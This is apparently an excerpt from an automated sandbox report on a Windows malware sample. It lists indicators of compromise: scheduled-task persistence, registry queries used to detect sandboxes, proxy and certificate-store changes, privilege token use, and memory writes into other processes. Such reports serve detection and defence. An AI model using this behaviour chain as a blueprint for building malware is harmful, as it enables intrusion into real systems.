File created	C:\Windows\Tasks\ZTNkTKukmvvbOMPkn.job	schtasks.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 3 IoCs

pid	pid_target	Process	procid_target
2552	2364	WerFault.exe	73
1808	1780	WerFault.exe	40
3012	1072	WerFault.exe	238

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	360TS_Setup.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	360TS_Setup.exe

Creates scheduled task(s) 1 TTPs 12 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
2152	schtasks.exe
944	schtasks.exe
1764	schtasks.exe
2424	schtasks.exe
776	schtasks.exe
2384	schtasks.exe
2028	schtasks.exe
1208	schtasks.exe
1316	schtasks.exe
2208	schtasks.exe
1408	schtasks.exe
1852	schtasks.exe

Enumerates system info in registry 2 TTPs 4 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	Install.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	Install.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	rundll32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	rundll32.exe

Modifies data under HKEY_USERS 64 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\CTLs	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CRLs	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CRLs	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ea-15-74-59-24-34	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\Certificates	OWUeySP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	wscript.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	OWUeySP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\UNCAsIntranet = "0"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	OWUeySP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Root\CTLs	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	OWUeySP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{538A1772-9A21-4811-ADC0-CA5DB3AADECE}\WpadDecision = "0"	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\CRLs	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	powershell.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00ea000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\CTLs	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	OWUeySP.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000003000000090000000000000000000000000000000400000000000000000000000000000000000000000000000000000001000000020000000a7f00ea000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	wscript.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\Disallowed\Certificates	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CTLs	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\My	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\SmartCardRoot\Certificates	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\trust\CTLs	OWUeySP.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\SavedLegacySettings = 4600000002000000090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000	OWUeySP.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ea-15-74-59-24-34\WpadDecisionTime = 909f230babb5da01	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows Script Host\Settings	wscript.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History\CachePrefix = "Visited:"	OWUeySP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ea-15-74-59-24-34\WpadDecisionReason = "1"	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	zhzjvaQ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{538A1772-9A21-4811-ADC0-CA5DB3AADECE}\ea-15-74-59-24-34	OWUeySP.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies\CachePrefix = "Cookie:"	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\CA\CRLs	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\TrustedPeople\CTLs	OWUeySP.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\AutoDetect = "1"	zhzjvaQ.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	OWUeySP.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content\CachePrefix	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates	OWUeySP.exe
Set value (str)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ea-15-74-59-24-34\WpadDetectedUrl	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad	rundll32.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{538A1772-9A21-4811-ADC0-CA5DB3AADECE}\ea-15-74-59-24-34	rundll32.exe
Set value (int)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\ea-15-74-59-24-34\WpadDecision = "0"	OWUeySP.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	OWUeySP.exe
Set value (data)	\REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Shell Extensions\Cached\{6C467336-8281-4E60-8204-430CED96822D} {000214E4-0000-0000-C000-000000000046} 0xFFFF = 010000000000000070d169e0aab5da01	zhzjvaQ.exe
Key created	\REGISTRY\USER\.DEFAULT\SOFTWARE\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	OWUeySP.exe

Modifies registry class 4 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\Cleanup	360TS_Setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\Cleanup\Icon = "\"C:\\Program Files (x86)\\360\\Total Security\\QHSafeMain.exe\",0"	360TS_Setup.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\Cleanup\command	360TS_Setup.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{645FF040-5081-101B-9F08-00AA002F954E}\shell\Cleanup\command\ = "\"C:\\Program Files (x86)\\360\\Total Security\\QHSafeMain.exe\" /runclean"	360TS_Setup.exe

Modifies system certificate store 2 TTPs 5 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	OWUeySP.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	OWUeySP.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	OWUeySP.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	360TS_Setup.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 040000000100000010000000497904b0eb8719ac47b0bc11519b74d00f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	360TS_Setup.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2964	WW13yFL0yat0CDaYgStWFD7M.exe
2964	WW13yFL0yat0CDaYgStWFD7M.exe
672	powershell.exe
3040	jsc.exe
1848	powershell.exe
1848	powershell.exe
1848	powershell.exe
2604	powershell.exe
860	powershell.exe
860	powershell.exe
860	powershell.exe
572	powershell.EXE
572	powershell.EXE
572	powershell.EXE
1840	powershell.EXE
1840	powershell.EXE
1840	powershell.EXE
2468	powershell.exe
1988	powershell.EXE
1988	powershell.EXE
1988	powershell.EXE
1872	powershell.exe
1872	powershell.exe
1872	powershell.exe
2140	powershell.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1332	powershell.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
1072	OWUeySP.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe
2680	360TS_Setup.exe

Suspicious behavior: LoadsDriver 2 IoCs

pid	Process
480	Process not Found
480	Process not Found

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2868	AddInProcess32.exe
Token: SeManageVolumePrivilege	2964	WW13yFL0yat0CDaYgStWFD7M.exe
Token: SeDebugPrivilege	2528	pfCuKx1ecdIfKnUPveAqX44x.exe
Token: SeDebugPrivilege	672	powershell.exe
Token: SeDebugPrivilege	3040	jsc.exe
Token: SeDebugPrivilege	1848	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeIncreaseQuotaPrivilege	2720	WMIC.exe
Token: SeSecurityPrivilege	2720	WMIC.exe
Token: SeTakeOwnershipPrivilege	2720	WMIC.exe
Token: SeLoadDriverPrivilege	2720	WMIC.exe
Token: SeSystemProfilePrivilege	2720	WMIC.exe
Token: SeSystemtimePrivilege	2720	WMIC.exe
Token: SeProfSingleProcessPrivilege	2720	WMIC.exe
Token: SeIncBasePriorityPrivilege	2720	WMIC.exe
Token: SeCreatePagefilePrivilege	2720	WMIC.exe
Token: SeBackupPrivilege	2720	WMIC.exe
Token: SeRestorePrivilege	2720	WMIC.exe
Token: SeShutdownPrivilege	2720	WMIC.exe
Token: SeDebugPrivilege	2720	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2720	WMIC.exe
Token: SeRemoteShutdownPrivilege	2720	WMIC.exe
Token: SeUndockPrivilege	2720	WMIC.exe
Token: SeManageVolumePrivilege	2720	WMIC.exe
Token: 33	2720	WMIC.exe
Token: 34	2720	WMIC.exe
Token: 35	2720	WMIC.exe
Token: SeDebugPrivilege	860	powershell.exe
Token: SeDebugPrivilege	572	powershell.EXE
Token: SeDebugPrivilege	1840	powershell.EXE
Token: SeDebugPrivilege	2468	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2888	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2888	WMIC.exe
Token: SeSecurityPrivilege	2888	WMIC.exe
Token: SeTakeOwnershipPrivilege	2888	WMIC.exe
Token: SeLoadDriverPrivilege	2888	WMIC.exe
Token: SeSystemtimePrivilege	2888	WMIC.exe
Token: SeBackupPrivilege	2888	WMIC.exe
Token: SeRestorePrivilege	2888	WMIC.exe
Token: SeShutdownPrivilege	2888	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2888	WMIC.exe
Token: SeUndockPrivilege	2888	WMIC.exe
Token: SeManageVolumePrivilege	2888	WMIC.exe
Token: SeDebugPrivilege	1988	powershell.EXE
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	2140	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	2716	WMIC.exe
Token: SeIncreaseQuotaPrivilege	2716	WMIC.exe
Token: SeSecurityPrivilege	2716	WMIC.exe
Token: SeTakeOwnershipPrivilege	2716	WMIC.exe
Token: SeLoadDriverPrivilege	2716	WMIC.exe
Token: SeSystemtimePrivilege	2716	WMIC.exe
Token: SeBackupPrivilege	2716	WMIC.exe
Token: SeRestorePrivilege	2716	WMIC.exe
Token: SeShutdownPrivilege	2716	WMIC.exe
Token: SeSystemEnvironmentPrivilege	2716	WMIC.exe
Token: SeUndockPrivilege	2716	WMIC.exe
Token: SeManageVolumePrivilege	2716	WMIC.exe
Token: SeDebugPrivilege	1332	powershell.exe
Token: SeAssignPrimaryTokenPrivilege	1852	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1852	WMIC.exe
Token: SeSecurityPrivilege	1852	WMIC.exe
Token: SeTakeOwnershipPrivilege	1852	WMIC.exe
Token: SeLoadDriverPrivilege	1852	WMIC.exe

Suspicious use of FindShellTrayWindow 1 IoCs

pid	Process
2964	WW13yFL0yat0CDaYgStWFD7M.exe

Suspicious use of SendNotifyMessage 1 IoCs

pid	Process
2964	WW13yFL0yat0CDaYgStWFD7M.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
3040	jsc.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2320 wrote to memory of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2320 wrote to memory of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2320 wrote to memory of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2320 wrote to memory of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2320 wrote to memory of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2320 wrote to memory of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2320 wrote to memory of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2320 wrote to memory of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2320 wrote to memory of 2868	2320	2024-06-03_9782adba2f6e0b9610833aa931234140_megazord.exe	29
PID 2868 wrote to memory of 2528	2868	AddInProcess32.exe	30
PID 2868 wrote to memory of 2528	2868	AddInProcess32.exe	30
PID 2868 wrote to memory of 2528	2868	AddInProcess32.exe	30
PID 2868 wrote to memory of 2528	2868	AddInProcess32.exe	30
PID 2868 wrote to memory of 2964	2868	AddInProcess32.exe	31
PID 2868 wrote to memory of 2964	2868	AddInProcess32.exe	31
PID 2868 wrote to memory of 2964	2868	AddInProcess32.exe	31
PID 2868 wrote to memory of 2964	2868	AddInProcess32.exe	31
PID 2868 wrote to memory of 2964	2868	AddInProcess32.exe	31
